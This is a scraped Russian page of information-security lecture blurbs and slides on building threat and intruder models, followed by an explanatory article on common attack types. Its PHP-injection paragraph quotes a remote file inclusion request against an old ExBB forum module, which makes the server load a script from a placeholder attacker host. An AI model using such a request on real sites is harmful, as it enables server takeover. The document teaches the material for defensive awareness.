Данная лекция призвана систематизировать понимание процесса построения системы обеспечения информационной безопасности на предприятии и подробно описывает процесс построения модели угроз для коммерческих и государственных предприятий, а также построение модели нарушителя. Данные модели оказывают непосредственное влияние на выбор защитных мер и реальную эффективность Вашей системы защиты информации.
Кроме того, построение приведённых моделей регламентировано современным федеральных законодательством в области защиты персональных данных.
Подробности на http://inforsec.ru/
Данная лекция призвана систематизировать понимание процесса построения системы обеспечения информационной безопасности на предприятии и подробно описывает процесс построения модели угроз для коммерческих и государственных предприятий, а также построение модели нарушителя. Данные модели оказывают непосредственное влияние на выбор защитных мер и реальную эффективность Вашей системы защиты информации.
Кроме того, построение приведённых моделей регламентировано современным федеральных законодательством в области защиты персональных данных.
Подробнее на http://inforsec.ru/
Что такое и почему важна информационная безопасность?Александр Лысяк
Вступительная лекция, в которой описываются основные понятия из области информационной безопасности, решаемые там задачи, а также дан ответ на очень важный вопрос: почему вообще стоит заниматься защитой информации? Какая реальная практическая польза на реальных примерах из нашей жизни.
Кроме того, в лекции описаны базовые свойства систем защиты информации, жизненный цикл процессов ИБ (СЗИ), а также способы исследования бизнес-структуры объекта защиты. Вы узнаете, что такое доступность, целостность, конфиденциальность, аутентичность и многие другие понятия. Поймёте, какие бывают виды и источники угроз.
В данной своей лекции я рассказываю об основе основ: базовых принципах защиты информации, которые нужно соблюдать всем, а именно принципы:
* Минимальных привиллегий.
* Прозрачности решений.
* Превентивности защиты.
* Системного подхода.
* Непрерывности защиты.
* Доказательности.
* Унификации решений.
Все описанные принципы подробно разбираются на примерах, и мы постепенно приходим к понятию оптимальной защиты. Также в презентации описываются различные уровни зрелости информационной безопасности на предприятии.
Конечно же, в конце, как и следует из названия, приведено описание так называемых метрик информационной безопасности: их виды, способы измерения и примеры.
Подробнее читайте на моём блоке inforsec.ru
Последняя лекция из моего основного курса посвящена вопросам анализа рисков и управления рисками информационной безопасности. Начинается всё с повторения материала по построению модели угроз ИБ. Далее проводится связь модели угроз с рисками ИБ. После этого идёт описание методов анализа рисков: количественная и экспертная, даются преимущества и недостатки каждой. Определяется понятие ущерба, а также приводится виды ущербов на реальных примерах.
В основной части описывается общий алгоритм анализа рисков, а также стратегии управления рисками:
Принятие риска.
Уменьшение риска.
Уклонение от риска.
Перенаправление риска.
Далее приведён процесс реагирования на инциденты ИБ, которые также весьма важны в повседневной IT-практике.
Подробности на http://inforsec.ru/
В четвёртой лекции определено понятие жизненной цикли системы защиты информации, описана его значимость на примерах из практики. Проведено сравнение жизненного цикла ИС с жизненным циклом СЗИ. Далее идёт подробное описание каждого из этапов.
В частности, подробн описан процесс обследование объекта защиты: исследование его IT-инфраструктуры и бизнес-структуры. Приведены конкретные бизнес-факторы, влияющие на эффективность работы предприятия и их связи с задачами и методами ИБ. Приведено множество реальных примеров.
Далее идёт процесс выбора приоритетной задачи защиты и принципы принятия таких решений.
Дано понятие политики информационной безопасности, а также цели и задачи, решаемые данными документами. Описаны административный, процедрный и програмно-технический уровни политики ИБ.
Далее идёт описание базовых принципов этапа выбора элементов СЗИ.
Подробнее читайте на моём блоке inforsec.ru
Данная лекция посвящена исключительно метрикам информационной безопасности, которые представляют собой красивый количественный способ измерить реальную эффективность безопасности на Вашей сетевой инфраструктуре.
Подробно описаны виды метрик ИБ, приведено множество примеров и описано, зачем эти метрики нужны. Примеры практической пользы от их использования.
Подробнее читайте на моём блоге http://inforsec.ru/
Данная лекция призвана систематизировать понимание процесса построения системы обеспечения информационной безопасности на предприятии и подробно описывает процесс построения модели угроз для коммерческих и государственных предприятий, а также построение модели нарушителя. Данные модели оказывают непосредственное влияние на выбор защитных мер и реальную эффективность Вашей системы защиты информации.
Кроме того, построение приведённых моделей регламентировано современным федеральных законодательством в области защиты персональных данных.
Подробнее на http://inforsec.ru/
Что такое и почему важна информационная безопасность?Александр Лысяк
Вступительная лекция, в которой описываются основные понятия из области информационной безопасности, решаемые там задачи, а также дан ответ на очень важный вопрос: почему вообще стоит заниматься защитой информации? Какая реальная практическая польза на реальных примерах из нашей жизни.
Кроме того, в лекции описаны базовые свойства систем защиты информации, жизненный цикл процессов ИБ (СЗИ), а также способы исследования бизнес-структуры объекта защиты. Вы узнаете, что такое доступность, целостность, конфиденциальность, аутентичность и многие другие понятия. Поймёте, какие бывают виды и источники угроз.
В данной своей лекции я рассказываю об основе основ: базовых принципах защиты информации, которые нужно соблюдать всем, а именно принципы:
* Минимальных привиллегий.
* Прозрачности решений.
* Превентивности защиты.
* Системного подхода.
* Непрерывности защиты.
* Доказательности.
* Унификации решений.
Все описанные принципы подробно разбираются на примерах, и мы постепенно приходим к понятию оптимальной защиты. Также в презентации описываются различные уровни зрелости информационной безопасности на предприятии.
Конечно же, в конце, как и следует из названия, приведено описание так называемых метрик информационной безопасности: их виды, способы измерения и примеры.
Подробнее читайте на моём блоке inforsec.ru
Последняя лекция из моего основного курса посвящена вопросам анализа рисков и управления рисками информационной безопасности. Начинается всё с повторения материала по построению модели угроз ИБ. Далее проводится связь модели угроз с рисками ИБ. После этого идёт описание методов анализа рисков: количественная и экспертная, даются преимущества и недостатки каждой. Определяется понятие ущерба, а также приводится виды ущербов на реальных примерах.
В основной части описывается общий алгоритм анализа рисков, а также стратегии управления рисками:
Принятие риска.
Уменьшение риска.
Уклонение от риска.
Перенаправление риска.
Далее приведён процесс реагирования на инциденты ИБ, которые также весьма важны в повседневной IT-практике.
Подробности на http://inforsec.ru/
В четвёртой лекции определено понятие жизненной цикли системы защиты информации, описана его значимость на примерах из практики. Проведено сравнение жизненного цикла ИС с жизненным циклом СЗИ. Далее идёт подробное описание каждого из этапов.
В частности, подробн описан процесс обследование объекта защиты: исследование его IT-инфраструктуры и бизнес-структуры. Приведены конкретные бизнес-факторы, влияющие на эффективность работы предприятия и их связи с задачами и методами ИБ. Приведено множество реальных примеров.
Далее идёт процесс выбора приоритетной задачи защиты и принципы принятия таких решений.
Дано понятие политики информационной безопасности, а также цели и задачи, решаемые данными документами. Описаны административный, процедрный и програмно-технический уровни политики ИБ.
Далее идёт описание базовых принципов этапа выбора элементов СЗИ.
Подробнее читайте на моём блоке inforsec.ru
Данная лекция посвящена исключительно метрикам информационной безопасности, которые представляют собой красивый количественный способ измерить реальную эффективность безопасности на Вашей сетевой инфраструктуре.
Подробно описаны виды метрик ИБ, приведено множество примеров и описано, зачем эти метрики нужны. Примеры практической пользы от их использования.
Подробнее читайте на моём блоге http://inforsec.ru/
Запись вебинара: https://www.youtube.com/watch?v=fIk9IU7FNEc&index=4&list=PLvxhSg-LXXAcKhaBFL6zrIBKVlMz2Pd1X
Аудит информационной безопасности АСУ ТП – первый и поэтому крайне важный шаг в ходе обеспечения информационной безопасности промышленных систем управления и автоматизации. В ходе вебинара специалисты УЦСБ поделятся своим практическим опытом проведения аудитов и расскажут о тех нюансах, на которые стоит обратить внимание в первую очередь.
Вычисление, визуализация и анализ метрик защищенности защищенности для монито...Positive Hack Days
Вычисление, визуализация
и анализ метрик защищенности защищенности
для мониторинга мониторинга безопасности безопасности
и управления управления инцидентами инцидентами
в SIEM-системах
As delusions of effective risk management for application environments continue to spread, companies continue to bleed large amounts of security spending without truly knowing if the amount is warranted, effective, or even elevating security at all. In parallel, hybrid, thought-provoking security strategies are moving beyond conceptual ideas to practical applications within ripe environments. Application Threat Modeling is one of those areas that, beyond the hype, provides practical and sensible security strategy that leverages already existing security efforts for an improved threat model of what is lurking in the shadows.
Tony UcedaVelez, Managing Director
An experienced security management professional, Tony has more than 10 years of hands-on security and technology experience and is a vocal advocate of security process engineering – a term that describes the design and development of secure processes and controls working symbiotically to create a unique business workflow. Tony currently serves as Managing Director for an Atlanta based risk advisory firm that focuses on security strategy and delivering effective means for risk mitigation and security process engineering. He has worked and consulted for the Fortune 500, as well as federal agencies in the U.S. on the topic of application security and security process engineering.
Запись вебинара: https://www.youtube.com/watch?v=fIk9IU7FNEc&index=4&list=PLvxhSg-LXXAcKhaBFL6zrIBKVlMz2Pd1X
Аудит информационной безопасности АСУ ТП – первый и поэтому крайне важный шаг в ходе обеспечения информационной безопасности промышленных систем управления и автоматизации. В ходе вебинара специалисты УЦСБ поделятся своим практическим опытом проведения аудитов и расскажут о тех нюансах, на которые стоит обратить внимание в первую очередь.
Вычисление, визуализация и анализ метрик защищенности защищенности для монито...Positive Hack Days
Вычисление, визуализация
и анализ метрик защищенности защищенности
для мониторинга мониторинга безопасности безопасности
и управления управления инцидентами инцидентами
в SIEM-системах
As delusions of effective risk management for application environments continue to spread, companies continue to bleed large amounts of security spending without truly knowing if the amount is warranted, effective, or even elevating security at all. In parallel, hybrid, thought-provoking security strategies are moving beyond conceptual ideas to practical applications within ripe environments. Application Threat Modeling is one of those areas that, beyond the hype, provides practical and sensible security strategy that leverages already existing security efforts for an improved threat model of what is lurking in the shadows.
Tony UcedaVelez, Managing Director
An experienced security management professional, Tony has more than 10 years of hands-on security and technology experience and is a vocal advocate of security process engineering – a term that describes the design and development of secure processes and controls working symbiotically to create a unique business workflow. Tony currently serves as Managing Director for an Atlanta based risk advisory firm that focuses on security strategy and delivering effective means for risk mitigation and security process engineering. He has worked and consulted for the Fortune 500, as well as federal agencies in the U.S. on the topic of application security and security process engineering.
Состояние сетевой безопасности в 2016 году Qrator Labs
Отчёт компаний Qrator и Wallarm, представленный вашему вниманию, посвящён главным событиям и основным тенденциям в области сетевой безопасности.
Отдельное внимание в отчёте уделяется проблематике DDoS, инфраструктуры Интернета и уязвимостям, а также взломам широко используемого ПО и других продуктов с электронной составляющей — устройств, подключённых к Сети.
Читал двухдневный курс по законодательству в области ИБ. Вот решил выложить то, что получилось. Буду еще доделывать - не все понравилось, да и времени оказалось мало под эту тему. Но может кому будет полезно!
Ежегодная конференция IT UP (Сентябрь_Новосибирск)
предоставить бизнес-потребителям и представителям ИТ-компаний (вендоры, дистрибьюторы, интеграторы) независимую площадку для обсуждения актуальных решений для ИТ-структур в организациях.
http://askbda.ru/results/it/159-iii-ezhegodnaya-regionalnaya-konferenciya-sovremennye-it-resheniya-dlya-kompanij-yeffektivnost-logichnost-i-bezopasnost.html
Ежегодная конференция IT UP (Сентябрь_Новосибирск)
предоставить бизнес-потребителям и представителям ИТ-компаний (вендоры, дистрибьюторы, интеграторы) независимую площадку для обсуждения актуальных решений для ИТ-структур в организациях.
http://askbda.ru/results/it/159-iii-ezhegodnaya-regionalnaya-konferenciya-sovremennye-it-resheniya-dlya-kompanij-yeffektivnost-logichnost-i-bezopasnost.html
Security of Information and Communication SystemsSSA KPI
AACIMP 2010 Summer School lecture by Andrey Rodionov. "Information Technologies" stream. "Security of Information and Communication Systems" course.
More info at http://summerschool.ssa.org.ua
Информационная безопасность. Лекция 3.
Третья лекция. Моделирование угроз и анализ рисков. В лекции подробно описан процесс построения модели угроз, его цели и принципы, способы построения дерева угроз, приведена модель нарушителя, классификация, типы и мотивы нарушителей, а также процессы анализа рисков и управления рисками.
Cовременные угрозы ИБ в корпоративной инфраструктуре и технологии противодейс...IBS
Конференция "InterLab Forum. Системная интеграция нового поколения" прошла в октябре 2015 года. В центре внимания форума были новые решения в области ИТ-инфраструктуры и информационной безопасности, недавно появившиеся на российском рынке и прошедшие апробацию в IBS.
Подробности: http://www.ibs.ru
Создание сайтов: как всё устроено и первые шаги.Александр Лысяк
Введение курса "Как создать сайт с нуля за 1 день". Рассматриваются вопросы общей схемы работы по созданию сайта, различные способы решения возникающих проблем (вопрос выбора CMS, проектирования / реализации дизайна), а также реализация первых шагов: установка web-сервера, СУБД MySQL, PHP.
Введение курса "Как создать сайт с нуля за 1 день". Рассматриваются вопросы общей схемы работы по созданию сайта, различные способы решения возникающих проблем (вопрос выбора CMS, проектирования / реализации дизайна), а также реализация первых шагов: установка web-сервера, СУБД MySQL, PHP.
Что такое SEO: полноценный план продвижения сайта.Александр Лысяк
Презентация об основных элементах области SEO: что это такое, каких видов бывает продвижение, общий план по продвижению сайта (с описанием всех шагов) и основные выводы.
Информационная безопасность. Лекция 1. Основы ИБ и принципы построения СОИБ.Александр Лысяк
Information security lection № 1 in Novosibirsk state university.
Вступительная лекция, в которой описываются основные определения ИБ, задачи информационной безопасности, свойства систем защиты информации, жизненный цикл процессов ИБ (СЗИ), а также способы исследования бизнес-структуры объекта защиты.
Information security lection № 2 in NSU.
Вторая лекция, в которой описываются все принципы ИБ, жизненный цикл СЗИ, бизнес-структура объекта защиты, показывается суть документа "политика безопасности", её реализации в реальном бизнесе.
1. Урок 5. Часть 1.
Построение модели угроз и нарушителя.
Информационная безопасность
организации
Лысяк Александр
http://inforsec.ru
Лаборатория информационной безопасности
2. Угроза
Угроза ИБ – совокупность условий и факторов,
создающих опасность для информации и/или
поддерживающей инфраструктуры.
Классификация:
Активная угроза безопасности – угроза, связанная
с изменением состояния автоматизированной
системы.
Пассивная угроза безопасности – угроза, не
связанная с изменением состояния
автоматизированной системы.
4. Зачем нужна классификация
Позволяет сократить
количество
рассматриваемых
одновременно объектов
Упорядочить процесс
рассмотрения объектов
Выделить общие
характеристики
5. Основные элементы ИС
Программные средства, применяемые при обработке
информации (ОС, СУБД, web-сервера и т.п.).
Технические средства, осуществляющие обработку данных
средства вычислительной техники;
информационно-вычислительные комплексы и сети;
средства и системы передачи, приема и обработки данных;
средства и системы звукозаписи, звукоусиления,
звуковоспроизведения, переговорные и телевизионные
устройства, средства изготовления, тиражирования
документов и другие технические средства обработки
речевой, графической, видео- и буквенно-цифровой
информации).
Совокупность информации и ее носителей, используемых в
ИС (данные в БД).
Средства защиты информации.
Вспомогательные технические средства и системы.
6. Классификационные признаки
По виду нарушаемого свойства информации (виду
несанкционированных действий, осуществляемых
с данными).
По видам возможных источников угроз.
По виду защищаемой от угроз информации.
По способу реализации угроз.
По используемой уязвимости.
7. Виды угроз по нарушаемому свойству
Угрозы конфиденциальности.
Угрозы доступности:
техногенные, непреднамеренные
ошибки, пользовательская
сложность ИС, инсайдеры.
Угрозы целостности:
фальсификация данных (в т.ч.
инсайдеры), нарушение
атомарности транзакций.
Угрозы раскрытия параметров
защищенной компьютерной
системы: новые угрозы,
уязвимости, увеличение рисков.
Лаборатория информационной безопасности http://inforsec.ru
8. Классификация по виду носителя
акустическая (речевая) информация (РИ), содержащаяся
непосредственно в произносимой речи пользователя ИС
при осуществлении им функции голосового ввода данных
в ИС, либо воспроизводимая акустическими средствами ИС
, а также содержащаяся в электромагнитных полях и
электрических сигналах, которые возникают за счет
преобразований акустической информации;
видовая информация (ВИ), представленная в виде текста и
изображений различных устройств отображения
информации средств вычислительной техники,
информационно-вычислительных комплексов,
технических средств обработки графической, видео- и
буквенно-цифровой информации, входящих в состав ИС;
информация, обрабатываемая (циркулирующая) в ИС, в
виде электрических, электромагнитных, оптических
сигналов;
информация, обрабатываемая в ИС, представленная в виде
бит, байт, файлов и других логических структур.
9. Классификация по способу
реализации угроз
Угрозы, связанные с НСД к
данным (атаки; внедрение
вредоносного ПО; повышение /
использование привилегий и т.д.);
Угрозы утечки данных по
техническим каналам (ПЭМИН, …).
Угрозы специальных воздействий
на ИС.
10. Классификация по используемой
уязвимости
угрозы, реализуемые с использованием уязвимости
системного ПО;
угрозы, реализуемые с использованием уязвимости
прикладного ПО;
угрозы, реализуемые наличием в ИС аппаратной закладки;
угрозы, реализуемые с использованием уязвимостей
протоколов сетевого взаимодействия и каналов передачи
данных;
угрозы, возникающие в результате использования
уязвимости, вызванной недостатками организации ТЗИ от
НСД;
угрозы, реализуемые с использованием уязвимостей,
обусловливающих наличие технических каналов утечки
информации;
угрозы, реализуемые с использованием уязвимостей СЗИ.
11. Примеры угроз
наблюдение за источниками информации;
подслушивание конфиденциальных разговоров и акустических
сигналов;
перехват электрических, виброакустических, магнитных и
электромагнитных полей и электрических сигналов излучений;
несанкционированное распространение материальных
носителей за пределами организации;
разглашение информации компетентными людьми;
Утеря / кража носителей информации;
несанкционированное распространение информации через
поля и электрические сигналы случайно возникшие в
аппаратуре;
воздействие стихийных сил;
сбои в аппаратуре или ПО;
воздействие мощных электромагнитных и электрических
помех.
12. Источники угроз
Внешние атаки.
Инсайдерские атаки.
Непреднамеренные ошибки.
Отказ инфраструктуры.
Внутренний отказ ИС.
Юридические проблемы.
Преднамеренные атаки
физического уровня.
Лаборатория информационной безопасности http://inforsec.ru
15. Техногенные угрозы
Внутренние:
1. Некачественные технические, средства обработки
информации - некачественные программное
средства.
2. Некачественные программные средства обработки.
3. Вспомогательные средства.
4. Другие технические средства.
Внешние:
1. Средства связи.
2. Близко расположенные опасные производства.
3. Сети инженерных коммуникаций (канализация,
энерго-, тепло и водоснабжение).
4. Транспорт.
16. Стихийные угрозы
Пожары, молнии, включая
шаровые.
Землетрясения.
Ураганы.
Наводнения.
Другие форс-мажорные
обстоятельства.
Различные непредвиденные
обстоятельства.
Необъяснимые явления.
18. Урок 5. Часть 2.
Построение модели угроз и нарушителя.
Информационная безопасность
организации
Лысяк Александр
http://inforsec.ru
Лаборатория информационной безопасности
19. Идентификация угроз
Необходимо идентифицировать опасности:
Известные опасности.
Неучтённые ранее опасности.
Предварительная оценка (основывается на
анализе последствий и изучении причин).
Предварительная оценка позволяет:
Принять немедленные меры.
Прекратить анализ из-за несущественности
опасности.
Перейти к оценке рисков и угроз.
20. Условия реализации угрозы
Угроза безопасности
реализуется в результате
образования канала
реализации угрозы между
источником угрозы и
носителем (источником)
защищаемых данных, что
создает условия для
нарушения безопасности
данных
(несанкционированный или
случайный доступ).
21. Основные элементы канала
источник– субъект, материальный объект или физическое явление, создающие
угрозу;
среда распространения, в которой физическое поле, сигнал, данные или
программы могут распространяться и воздействовать на защищаемые свойства;
Носитель – физическое лицо или материальный объект, в том числе физическое
поле, в котором данные находят свое отражение в виде символов, образов,
сигналов, технических решений и процессов, количественных характеристик
физических величин.
Источник
угрозы
Среда распространения Носитель
данных
22. Уровни детализации
Угрозы общего уровня.
Пример: нарушение доступности сайта интернет-
магазина.
Угрозы общего технического уровня.
Пример: угроза реализации XSS-атаки; угроза
нарушения доступности хостинга.
Угрозы детального технического уровня.
Пример: наличие уязвимости CVE в SharePoint
платформе; DDoS-атака на сервер хостинга /
ошибки персонала хостинга.
27. Модель угроз
Систематизированный перечень угроз
безопасности при обработке информации в
информационных системах. Эти угрозы
обусловлены преднамеренными или
непреднамеренными действиями физических лиц,
действиями зарубежных спецслужб или
организаций (в том числе террористических), а
также криминальных группировок, создающих
условия для нарушения безопасности, которое
ведет к ущербу жизненно важных интересов
личности, общества и государства.
(ФСТЭК России)
28. Зачем нужно моделирование угроз
Систематическая идентификация
потенциальных опасностей.
Систематическая идентификация возможных
видов отказов.
Количественные оценки или ранжирование
рисков.
Выявление факторов, обуславливающих риск, и
слабых звеньев в системе.
Более глубокое понимание устройства и
функционирования системы.
29. Зачем нужно моделирование угроз
Сопоставление риска исследуемой системы с
рисками альтернативных систем или
технологий.
Идентификация и сопоставление рисков и
неопределенностей.
Возможность выбора мер и приемов по
обеспечению снижения риска.
Основная задача моделирования окружения –
обоснование решений, касающихся рисков.
30. Вопросы для модели
Какие угрозы могут быть реализованы?
Как могут быть реализованы эти угрозы?
С какой вероятностью могут быть реализованы
эти угрозы?
Каков потенциальный ущерб от этих угроз?
Каким образом могут быть реализованы эти
угрозы?
Почему эти угрозы могут быть реализованы?
На что могут быть направлены эти угрозы?
Как можно отразить эти угрозы?
31. Как все устроено
Фактически мы
пытаемся описать
процесс
противодействия
нарушителю
используя наше
понимание
процесса.
33. Дерево угроз
Показывает условия реализации угроз.
Комбинированный эффект и взаимосвязь
уязвимостей.
Деревьев может быть много, в зависимости от
числа угроз общего уровня:
Блокирование работы сервиса.
Кража информации на р.с. пользователей.
Несанкционированное изменение данных в БД.
…
Даёт оценку вероятности реализации угроз.
36. Модель нарушителя.
Модель нарушителя определяет:
категории (типы) нарушителей, которые могут
воздействовать на объект;
цели, которые могут преследовать нарушители
каждой категории и их описание;
типовые сценарии возможных действий
нарушителей, описывающие последовательность
(алгоритм) действий групп и отдельных
нарушителей, способы их действий на каждом этапе.
37. Классификация нарушителей
Террористы и
террористические
организации.
Конкурирующие организации и
структуры.
Спецслужбы иностранных
государств и блоков государств.
Криминальные структуры.
Взломщики программных
продуктов ИТ, использующихся
в системах связи.
Бывшие сотрудники
организаций связи.
Недобросовестные сотрудники
и партнеры.
Пользователи услугами связи и
др.
– технические средства и системы, их коммуникации, не предназначенные для обработки ПДн, но размещенные в помещениях (далее – служебные помещения), в которых расположены ИСПДн, их технические средства (различного рода телефонные средства и системы, средства вычислительной техники, средства и системы передачи данных в системе радиосвязи, средства и системы охранной и пожарной сигнализации, средства и системы оповещения и сигнализации, контрольно-измерительная аппаратура, средства и системы кондиционирования, средства и системы проводной радиотрансляционной сети и приема программ радиовещания и телевидения, средства электронной оргтехники, средства и системы электрочасофикации).
Угрозы конфиденциальности
хищение (копирование) информации, средств ее обработки, носителей;
утрата (неумышленная потеря, утечка) информации , средств ее обработки и носителей;
несанкционированное ознакомление, распространение.
парольные проблемы, перехват информации.
Угрозы доступности
блокирование информации;
уничтожение информации и средств ее обработки (носителей);
блокирование канала передачи информации и средств обработки информации.
Угрозы целостности
модификация (искажение) информации;
отрицание подлинности информации/отказ от совершённых действий;
навязывание ложной информации, обман;
уничтожение информации.
Угрозы раскрытия параметров защищенной компьютерной системы
появление новых угроз;
выявление уязвимостей:
увеличение рисков;
увеличение успешности атаки.
Mailbombing
Считается самым старым методом атак, хотя суть его проста и примитивна: большое количество почтовых сообщений делают невозможными работу с почтовыми ящиками, а иногда и с целыми почтовыми серверами. Для этой цели было разработано множество программ, и даже неопытный пользователь мог совершить атаку, указав всего лишь e-mail жертвы, текст сообщения, и количество необходимых сообщений. Многие такие программы позволяли прятать реальный IP-адрес отправителя, используя для рассылки анонимный почтовый сервер. Эту атаку сложно предотвратить, так как даже почтовые фильтры провайдеров не могут определить реального отправителя спама. Провайдер может ограничить количество писем от одного отправителя, но адрес отправителя и тема зачастую генерируются случайным образом.
Переполнение буфера
Пожалуй, один из самых распространенных типов атак в Интернете. Принцип данной атаки построен на использовании программных ошибок, позволяющих вызвать нарушение границ памяти и аварийно завершить приложение или выполнить произвольный бинарный код от имени пользователя, под которым работала уязвимая программа. Если программа работает под учётной записью администратора системы, то данная атака позволит получить полный контроль над компьютером жертвы, поэтому рекомендуется работать под учётной записью рядового пользователя, имеющего ограниченные права на системе, а под учётной записью администратора системы выполнять только операции, требующие административные права.
Вирусы, троянские кони, почтовые черви, снифферы, Rootkit-ы и другие специальные программы
Следующий вид атаки представляет собой более изощренный метод получения доступа к закрытой информации — это использование специальных программ для ведения работы на компьютере жертвы. Такие программы предназначены для поиска и передачи своему владельцу секретной информации, либо просто для нанесения вреда системе безопасности и работоспособности компьютера жертвы. Принципы действия этих программ различны, поэтому мы не будем рассматривать их в этой статье.
Сетевая разведка
В ходе такой атаки кракер собственно не производит никаких деструктивных действий, но в результате он может получить закрытую информацию о построении и принципах функционирования вычислительной системы жертвы. Полученная информация может быть использована для грамотного построения предстоящей атаки, и обычно производится на подготовительных этапах.
В ходе такой разведки злоумышленник может производить сканирование портов, запросы DNS, эхо-тестирование открытых портов, наличие и защищённость прокси-серверов. В результате можно получить информацию о существующих в системе DNS-адресах, кому они принадлежат, какие сервисы на них доступны, уровень доступа к этим сервисам для внешних и внутренних пользователей.
Сниффинг пакетов
Также довольно распространенный вид атаки, основанный на работе сетевой карты в режиме promiscuous mode, а также monitor mode для сетей Wi-Fi. В таком режиме все пакеты, полученные сетевой картой, пересылаются на обработку специальному приложению, называемым сниффером, для обработки. В результате злоумышленник может получить большое количество служебной информации: кто откуда куда передавал пакеты, через какие адреса эти пакеты проходили. Самой большой опасностью такой атаки является получение самой информации, например логинов и паролей сотрудников, которые можно использовать для незаконного проникновения в систему под видом обычного сотрудника компании.
IP-спуфинг
Тоже распространенный вид атаки в недостаточно защищённых сетях, когда злоумышленник выдает себя за санкционированного пользователя, находясь в самой организации, или за её пределами. Для этого кракеру необходимо воспользоваться IP-адресом, разрешённым в системе безопасности сети. Такая атака возможна, если система безопасности позволяет идентификацию пользователя только по IP-адресу и не требует дополнительных подтверждений .
Man-in-the-Middle
англ.. Вид атаки, когда злоумышленник перехватывает канал связи между двумя системами, и получает доступ ко всей передаваемой информации. При получении доступа на таком уровне крякер может модифицировать информацию нужным ему образом, чтобы достичь своих целей. Цель такой атаки — кража или фальсифицирование передаваемой информации, или же получение доступа к ресурсам сети. Такие атаки крайне сложно отследить, так как обычно злоумышленник находится внутри организации.
Инъекция
Атака, связанная с различного рода инъекциями, подразумевает внедрение сторонних команд или данных в работающую систему с целью изменения хода работы системы, а в результате — получение доступа к закрытым функциям и информации, либо дестабилизации работы системы в целом. Наиболее популярна такая атака в сети Интернет, но также может быть проведена через командную строку системы.
SQL-инъекция — атака, в ходе которой изменяются параметры SQL-запросов к базе данных. В результате запрос приобретает совершенно иной смысл, и в случае недостаточной фильтрации входных данных способен не только произвести вывод конфиденциальной информации, но и изменить/удалить данные. Очень часто такой вид атаки можно наблюдать на примере сайтов, которые используют параметры командной строки (в данном случае — переменные URL) для построения SQL-запросов к базам данных без соответствующей проверки.
PHP-инъекция — один из способов взлома веб-сайтов, работающих на PHP. Он заключается в том, чтобы внедрить специально сформированный злонамеренный сценарий в код веб-приложения на серверной стороне сайта, что приводит к выполнению произвольных команд. Известно, что во многих распространённых в интернете бесплатных движках и форумах, работающих на PHP (чаще всего это устаревшие версии) есть непродуманные модули или отдельные конструкции с уязвимостями. Крэкеры анализируют такие уязвимости , как неэкранированные переменные, получающие внешние значения, например старая уязвимость форума ExBB используется хакерами запросом: GET //modules/threadstop/threadstop.php?new_exbb[home_path]=evilhackerscorp.com/tx.txt????? .
Межсайтовый скриптинг или XSS (аббр. от англ.) — тип уязвимостей, обычно обнаруживаемых в веб-приложениях, которые позволяют внедрять код злонамеренным пользователям в веб-страницы, просматриваемые другими пользователями. Примерами такого кода являются HTML-код и скрипты, выполняющиеся на стороне клиента, чаще всего JavaScript. Другие названия: CSS, реже — скрипт-инъекция.
XPath-инъекция - вид уязвимостей, который заключается во внедрении XPath-выражений в оригинальный запрос к базе данных XML. Как и при остальных видах инъекций, уязвимость возможна ввиду недостаточной проверки входных данных.
См. также
Введение в XPath-инъекции
Устранение опасности XPath-внедрения
Социальная инженерия
Социальная инженерия (от англ. Social Engineering) — использование некомпетентности, непрофессионализма или небрежности персонала для получения доступа к информации. Этот метод обычно применяется без компьютера, с использованием обычного телефона, почтовой переписки либо кружечки пива. Таким образом обычно получается самая разнообразная информация. В ходе такой атаки злоумышленник устанавливает контакт с жертвой, и, вводя её в заблуждение либо войдя в доверие, пытается получить необходимые сведения, которые сложно получить другим путём, либо другие пути являются более рискованными. Как гласит старая поговорка, «Самое слабое звено системы безопасности — Человек».
Отказ в обслуживании
DoS (от англ. — Отказ в обслуживании) — атака, имеющая своей целью заставить сервер не отвечать на запросы. Такой вид атаки не подразумевает получение некоторой секретной информации, но иногда бывает подспорьем в инициализации других атак. Например, некоторые программы из-за ошибок в своем коде могут вызывать исключительные ситуации, и при отключении сервисов способны исполнять код, предоставленный злоумышленником или атаки лавинного типа, когда сервер не может обработать огромное количество входящих пакетов.
DDoS (от англ. — Распределенная DoS) — подтип DoS атаки, имеющий ту же цель что и DoS, но производимой не с одного компьютера, а с нескольких компьютеров в сети. В данных типах атак используется либо возникновение ошибок, приводящих к отказу сервиса, либо срабатывание защиты, приводящей к блокированию работы сервиса, а в результате также к отказу в обслуживании. DDoS используется там, где обычный DoS неэффективен. Для этого несколько компьютеров объединяются, и каждый производит DoS атаку на систему жертвы. Вместе это называется DDoS-атака.
Любая атака представляет собой не что иное, как попытку использовать несовершенство системы безопасности жертвы либо для получения информации, либо для нанесения вреда системе, поэтому причиной любой удачной атаки является профессионализм крякера и ценность информации, а так же недостаточная компетенция администратора системы безопасности в частности, несовершенство программного обеспечения, и недостаточное внимание к вопросам безопасности в компании в принципе.
Иными словами – упорядоченный перечень угроз преднамеренного или нет характера